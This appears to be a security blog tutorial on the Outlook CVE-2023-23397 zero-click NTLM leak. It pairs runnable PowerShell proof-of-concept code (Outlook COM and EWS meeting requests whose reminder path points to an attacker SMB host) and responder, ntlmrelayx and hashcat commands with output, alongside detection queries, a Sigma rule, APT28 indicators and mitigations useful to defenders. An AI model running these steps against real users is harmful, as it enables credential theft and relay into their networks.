Skip to content
Back to Blog

tutorials · 8 min read

Outlook zero-click: the NTLM hash leaves without opening the email

CVE-2023-23397 lets Outlook send the user NTLMv2 hash to an attacker SMB server just by processing an email. No click, no preview. Exploited as zero-day by APT28 since April 2022. Reproducible PoC with Outlook COM, Wireshark capture of the handshake and offline crack with hashcat.

· Manuel López Pérez · tutorials

CVE-2023-23397 lets Outlook send the user NTLMv2 hash to an attacker SMB server just by processing an email. No click, no preview. Exploited as zero-day by APT28 since April 2022. Reproducible PoC with Outlook COM, Wireshark capture of the handshake and offline crack with hashcat.

Microsoft closes CVE-2023-23397 on 14 March 2023, Patch Tuesday — elevation of privilege in Outlook for Windows, CVSS 9.8. Tagged as exploited as zero-day. Ten days later, Microsoft Threat Intelligence publishes investigation guidance and attributes exploitation to an actor based in Russia — the cluster the industry publicly calls APT28 (Fancy Bear / Forest Blizzard). Mandiant documents that the bug was being exploited since April 2022: almost a year before the patch.

The bug is by the book. An email with a specific MAPI property makes Outlook open an SMB connection to a server on the internet and, while completing the handshake, send the user NTLMv2 hash. No click. No preview pane open. It’s enough for Outlook to receive and process the message while syncing the inbox.

Lab: technical analysis of the exploit with references to verified public PoCs. The handshake is captured against a controlled listener, not against any production system.

The bug in a MAPI property

Outlook stores emails with structured metadata in MAPI extended properties. The relevant ones live in the PSETID_Common property set (GUID {00062008-0000-0000-C000-000000000046}):

MAPI long-idProperty tagTypeUse
PidLidReminderSet0x8503PT_BOOLEANWhether the item has an active reminder
PidLidReminderTime0x8502PT_SYSTIMEWhen the reminder fires
PidLidReminderOverride0x851CPT_BOOLEANWhether the reminder uses a custom sound
PidLidReminderFileParameter0x851FPT_UNICODEPath to the reminder sound file

PidLidReminderFileParameter is the piece. When Outlook fires the reminder, CTaskService::PlayReminderSound (in outlook.exe) calls PlaySound() with the path in that property. PlaySound() resolves the path through CreateFileW. If the path starts with \\, Windows treats it as remote and opens an SMB connection to the indicated host. If that host is on the internet, the NTLM handshake goes out to the internet with the user challenge response.

There’s no “does this SMB belong to my domain” validation. The client opens the connection and authenticates with the current session.

Why it’s zero-click

Outlook fires the reminder when it syncs the folder and finds an appointment with PidLidReminderSet=True and PidLidReminderTime already in the past. The sync happens on receiving the item, with no user interaction. If the attacker sends a meeting request with:

  • PidLidReminderSet = True
  • PidLidReminderOverride = True
  • PidLidReminderTime = an already-past time
  • PidLidReminderFileParameter = \\<attacker-ip>\share\anything.wav

…the reminder fires on sync, Outlook tries to load the .wav, opens SMB to the attacker. No need to open the email or have the preview pane active. The patch modifies CTaskService::PlayReminderSound to force the path to be treated as local (it rejects remote UNCs).

PoC — Outlook COM in PowerShell

The most-used public PoC (api0cradle, GitHub) uses the Outlook Object Model COM on a machine with Outlook installed. The COM exposes ReminderSoundFile as a high-level property that maps internally to PidLidReminderFileParameter:

# CVE-2023-23397.ps1 — attacker with Outlook installed and an authenticated account
$ATTACKER_UNC = '\\10.10.10.13\share\reminder.wav'
$TARGET       = 'victim@target.test'

$ol  = New-Object -ComObject Outlook.Application
$ns  = $ol.GetNameSpace('MAPI')

$appt = $ol.CreateItem(1)                # olAppointmentItem
$appt.MeetingStatus      = 1             # olMeeting
$appt.Subject            = 'Q1 Review'
$appt.Body               = 'Quick alignment on Q1 numbers'
$appt.Location           = 'Conference Room A'
$appt.Start              = (Get-Date).AddMinutes(-120)
$appt.End                = (Get-Date).AddMinutes(-60)
$appt.ReminderSet              = $true
$appt.ReminderOverrideDefault  = $true
$appt.ReminderPlaySound        = $true
$appt.ReminderSoundFile        = $ATTACKER_UNC

[void]$appt.Recipients.Add($TARGET)
$appt.Send()
Write-Host "[+] Sent appointment with UNC reminder $ATTACKER_UNC to $TARGET"

Variant without Outlook installed — use the EWS Managed API to set the extended property by long ID directly on Exchange:

# Assumes Microsoft.Exchange.WebServices.dll loaded
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService(
    [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)
$svc.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials(
    'attacker@evil.test','P@ssw0rd!')
$svc.AutodiscoverUrl('attacker@evil.test')

$apt = New-Object Microsoft.Exchange.WebServices.Data.Appointment($svc)
$apt.Subject = 'Q1 Review'
$apt.Start   = (Get-Date).AddMinutes(-120)
$apt.End     = (Get-Date).AddMinutes(-60)
$apt.IsReminderSet = $true
$apt.ReminderDueBy = (Get-Date).AddMinutes(-120)
[void]$apt.RequiredAttendees.Add('victim@target.test')

# PSETID_Common = {00062008-0000-0000-C000-000000000046}
$psetidCommon = [guid]'00062008-0000-0000-C000-000000000046'

# PidLidReminderOverride (0x851C, boolean)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
    $psetidCommon, 0x851C,
    [Microsoft.Exchange.WebServices.Data.MapiPropertyType]::Boolean)
$apt.SetExtendedProperty($prop, $true)

# PidLidReminderFileParameter (0x851F, unicode)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
    $psetidCommon, 0x851F,
    [Microsoft.Exchange.WebServices.Data.MapiPropertyType]::String)
$apt.SetExtendedProperty($prop, '\\10.10.10.13\share\reminder.wav')

$apt.Save(
  [Microsoft.Exchange.WebServices.Data.SendInvitationsMode]::SendOnlyToAll)

Attacker-side listener — impacket-ntlmrelayx for active relay, or responder for passive capture:

# Passive capture — stores NetNTLMv2 for offline crack
sudo responder -I eth0 -wrf
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client   : 198.51.100.10
# [SMB] NTLMv2-SSP Username : ACME\j.smith
# [SMB] NTLMv2-SSP Hash     : j.smith::ACME:1122334455667788:CDF9CDF8A0...

# Active relay — authenticate to another domain host with the stolen session
sudo impacket-ntlmrelayx \
    -t smb://10.10.10.42 -smb2support --no-http-server -socks
# [*] SMBD-Thread-2: Connection from 198.51.100.10
# [*] Authenticating against smb://10.10.10.42 as ACME\j.smith SUCCEED
# [*] SOCKS: Adding ACME/J.SMITH@10.10.10.42(445) to active SOCKS connection

Capturing the handshake in Wireshark

Display filter to isolate the AUTHENTICATE_MESSAGE and extract NTLMv2 by hand:

smb2 and ntlmssp.messagetype == 0x00000003

What shows up in the NTLM Secure Service Provider panel of the packet:

NTLM Secure Service Provider
    NTLMSSP identifier: NTLMSSP
    NTLM Message Type: NTLMSSP_AUTH (0x00000003)
    Lan Manager Response: ...
    NTLM Response:
        Response: 1234abcd...
        NTLMv2 Response: ...
        NTProofStr: cdf9cdf8a0d3...
        Response Version: 1
        Reserved: 00000000
        Time: ...
        Client Challenge: 1122334455667788
    Domain name: ACME
    User name: j.smith
    Host name: WORKSTATION-07

NetNTLMv2 format for hashcat (-m 5600) rebuilt from the packet:

j.smith::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000000000000040cdb8c4...
        ^      ^         ^                    ^   ^
        domain |         |                    |   full blob (HMAC + temp)
               server   NTProofStr (HMAC-MD5 16 bytes)
               challenge

Offline crack with rockyou — real runtime on an RTX 4090 against rockyou.txt (14M candidates): seconds to minutes:

$ hashcat -m 5600 -a 0 j.smith.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
* Device #1: NVIDIA GeForce RTX 4090, 23999/24235 MB
Speed.#1.........:  3826.4 MH/s (47.21ms)

J.SMITH::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000...:Spring2023!

Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests

Detection — the Microsoft script

On 14 March 2023 Microsoft publishes a PowerShell script that walks Exchange mailboxes and flags any item with PidLidReminderFileParameter pointing to a non-local destination. Audit-only mode for retro-detection:

PS> .\CVE-2023-23397.ps1 -Environment Online -Audit
[+] Connecting to Exchange Online…
[+] Scanning mailboxes for PidLidReminderFileParameter…
[!] Found 2 messages with non-local reminder file parameter:
    Mailbox: j.smith@acme.com
    Subject: Q1 Review
    Sender: external-sender@evil.test
    UNC:     \\10.10.10.13\share\reminder.wav
    Received: 2023-02-18T09:14:22Z

The script has a -CleanupAction flag to delete or clean the detected items, useful after patching.

Defender / Sentinel — KQL

Outbound SMB to a public IPv4 from outlook.exe has no legitimate use case in a corporate network. KQL for DeviceNetworkEvents:

DeviceNetworkEvents
| where Timestamp > ago(180d)
| where RemotePort in (445, 139)
| where InitiatingProcessFileName in~ ("outlook.exe", "rundll32.exe", "explorer.exe")
| where ipv4_is_private(RemoteIP) == false
| extend Public = strcat(RemoteIP, ":", RemotePort)
| project Timestamp, DeviceName, AccountDomain, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          RemoteIP, RemotePort, ReportId
| order by Timestamp desc

Forest Blizzard / APT28 reused endpoints for months. Microsoft Threat Intelligence published the known SMB C2 IPs — useful for retro-search:

let APT28_SMB = dynamic([
    "101.255.119.42","113.160.234.229","168.205.200.55","181.209.99.204",
    "185.132.17.160","213.32.252.221","61.14.68.33","69.162.253.21",
    "82.196.113.102","85.195.206.7"]);
DeviceNetworkEvents
| where Timestamp > ago(365d)
| where RemoteIP in (APT28_SMB)
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName

Sigma — outbound SMB from Outlook on the endpoint

title: Suspicious Outbound SMB Connection from Outlook (CVE-2023-23397)
id: 7f5b5b96-e7e0-4f8e-8c47-cbe5a8d12345
status: stable
description: Detects outlook.exe (or other Office processes) opening SMB to a public IP
references:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
    - https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith:
            - '\outlook.exe'
            - '\winword.exe'
            - '\excel.exe'
        DestinationPort:
            - 445
            - 139
    filter_private:
        DestinationIp|cidr:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '127.0.0.0/8'
    condition: selection and not filter_private
level: high
falsepositives:
    - Outlook configured against an Exchange on-prem reachable via public IP (rare and reconfigurable)

Windows Event IDs on the endpoint

EventSourceWhat to look for
4624SecurityLogonType 3 (network) to/from an unexpected host
4625SecurityLogonType 3 failed against domain credentials
5145Security (Detailed File Share auditing)Access to a remote share from an Office process
3Microsoft-Windows-Sysmon/OperationalNetworkConnect, outlook.exe -> external port 445

IoCs Forest Blizzard published by Microsoft

IP defangedType
101.255.119[.]42SMB endpoint (relay sink)
113.160.234[.]229SMB endpoint (relay sink)
168.205.200[.]55SMB endpoint (relay sink)
181.209.99[.]204SMB endpoint (relay sink)
185.132.17[.]160SMB endpoint (relay sink)
213.32.252[.]221SMB endpoint (relay sink)
61.14.68[.]33SMB endpoint (relay sink)
69.162.253[.]21SMB endpoint (relay sink)
82.196.113[.]102SMB endpoint (relay sink)
85.195.206[.]7SMB endpoint (relay sink)

Source: Microsoft, Guidance for investigating attacks using CVE-2023-23397. Historical IoCs — may not be active today, but useful for 2022-2023 retro-hunting.

Reproduction in a closed lab

Two-machine lab (Linux attacker + Windows 10/11 victim + pre-patch Outlook):

# Attacker
sudo apt install -y python3-impacket responder
# Passive listener (captures the hash):
sudo responder -I eth0 -wrf

# Or active relay against a victim domain host:
sudo impacket-ntlmrelayx -t smb://target-internal.lab \
    -smb2support --no-http-server -socks

Vulnerable victim versions (without the 14 March 2023 patch):

ProductPatch KB
Microsoft 365 Apps (current)Click-to-Run
Outlook 2013 SP1KB5002310
Outlook 2016KB5002321
Outlook 2019 / 2021KB5002322

Not vulnerable: Outlook for Mac, Outlook on the Web (OWA), Outlook for iOS / Android, Microsoft 365 Apps in New Outlook.

Mitigations, in order of impact

  1. Patch Outlook for Windows with the March 2023 KBs.
  2. Block outbound SMB (TCP 445, 139) to the internet at the perimeter firewall. There’s no legitimate office use case; this mitigates the attack even if the bug were still present.
  3. Force SMB signing on domain member servers — breaks active relay (not capture for offline crack).
  4. Restrict membership in Protected Users for admin accounts: members do not send NTLM at all, only Kerberos.
  5. Force Kerberos and disable NTLM fallback where possible (Windows Server 2025 ships policy flags for this).

The APT28 piece

Microsoft doesn’t name them, but the attribution is clear: an actor with Russian intelligence tradecraft, historical targeting of government, military and energy entities in Europe. Operational summary:

  • First known exploitation: April 2022 (Mandiant).
  • Confirmed targets: government agencies and critical infrastructure operators in countries supporting Ukraine.
  • Typical vector: meeting requests sent from previously compromised accounts — no need for their own mail infrastructure.
  • After getting the hash: relay against Exchange on-prem for full mailbox access, persistence via EWS, exfil of calendars and mailbox rules.

Window between first known exploitation and patch: 11 months. If the organisation had a plausible target profile in 2022, auditing with the Microsoft script isn’t optional.

References

Back to Blog

Related Posts

View All Posts »
SharePoint ToolShell: the auth bypass Microsoft patches twice

tutorials · 14 min

SharePoint ToolShell: the auth bypass Microsoft patches twice

CVE-2025-49706 + CVE-2025-49704 give pre-auth RCE on on-prem SharePoint. The 8 July patch turns out to be incomplete and the variant CVE-2025-53770 + CVE-2025-53771 shows up, exploited at scale from 18 July. The spinstall0.aspx web shell steals the MachineKeys and persistence survives the patch.

· Manuel López Pérez

CrowdStrike Falcon: anatomy of Channel File 291

tutorials · 9 min

CrowdStrike Falcon: anatomy of Channel File 291

On 19 July 2024 at 04:09 UTC, a content update from CrowdStrike Falcon puts 8.5 million Windows machines into a reboot loop. Delta cancels 7,000 flights. The bug: a kernel-mode parser that reads field 21 of a template instance that only carries 20. How we got there, why the validator let it through, and what changes in EDR from here.

· Manuel López Pérez

Stealing Windows NTLM Hashes with a Malicious PDF

tutorials · 3 min

Stealing Windows NTLM Hashes with a Malicious PDF

Practical guide to generating a malicious PDF that, when opened in Windows, forces NTLM authentication and captures the NET-NTLMv2 hash. Includes generation with modern tools, cracking with hashcat, and use of psexec. Updated with best practices and current alternatives.

· Pablo Plaza Martínez